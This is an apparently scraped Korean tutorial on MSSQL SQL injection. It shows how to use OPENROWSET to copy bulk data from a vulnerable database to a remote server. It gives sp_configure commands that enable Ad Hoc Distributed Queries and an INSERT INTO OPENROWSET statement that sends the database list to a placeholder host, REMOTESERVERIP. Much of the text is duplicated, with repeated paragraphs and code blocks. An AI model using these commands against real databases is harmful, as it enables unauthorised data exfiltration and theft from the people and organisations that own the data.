OPENROWSET을 이용한 SQL Injection
위의 기능 사용이 가능할 경우 대량의 DB데이터 획득에 매우 유용한 기능이 된다.
1. 기능 활성화
MSSQL2005일 경우는 OPENROWSET 기능이 기본적으로 Disable되어 있어 해당 기능을 활성하 시켜줘야만 사용이 가능한다. 해당 기능 활성화를 위해서는 "Ad Hoc Distributed Queries" 속성을 활성화 시켜주면 된다.
2. 대량의 데이터 획득
취약점 DB의 데이터를 원격지의 MSSQL 서버에 전송하는 방법으로 OPENROWSET을 이용할 경우 대량으로 데이터 획득이 가능하다. 하지만 원격지의 MSSQL 서버에 접근이 가능해야 한다.
위의 기능 사용이 가능할 경우 대량의 DB데이터 획득에 매우 유용한 기능이 된다.
1. 기능 활성화
MSSQL2005일 경우는 OPENROWSET 기능이 기본적으로 Disable되어 있어 해당 기능을 활성하 시켜줘야만 사용이 가능한다. 해당 기능 활성화를 위해서는 "Ad Hoc Distributed Queries" 속성을 활성화 시켜주면 된다.
○ 옵션 Lock 해제
exec sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
○ 설정 활성화
exec sp_configure 'Ad Hoc Distributed Queries', 1;
GO
RECONFIGURE;
GO
○ 옵션 Lock 설정
exec sp_configure 'show advanced options', 0;
GO
RECONFIGURE;
GO
exec sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
○ 설정 활성화
exec sp_configure 'Ad Hoc Distributed Queries', 1;
GO
RECONFIGURE;
GO
○ 옵션 Lock 설정
exec sp_configure 'show advanced options', 0;
GO
RECONFIGURE;
GO
2. 대량의 데이터 획득
취약점 DB의 데이터를 원격지의 MSSQL 서버에 전송하는 방법으로 OPENROWSET을 이용할 경우 대량으로 데이터 획득이 가능하다. 하지만 원격지의 MSSQL 서버에 접근이 가능해야 한다.
○ DB의 목록
INSERT INTO OPENROWSET('SQLoledb',
'server=REMOTESERVERIP;uid=ID;pwd=PASSWORD','SELECT * from sec.dbo.dblist')
SELECT name FROM sys.databases WHERE database_id>4
INSERT INTO OPENROWSET('SQLoledb',
'server=REMOTESERVERIP;uid=ID;pwd=PASSWORD','SELECT * from sec.dbo.dblist')
SELECT name FROM sys.databases WHERE database_id>4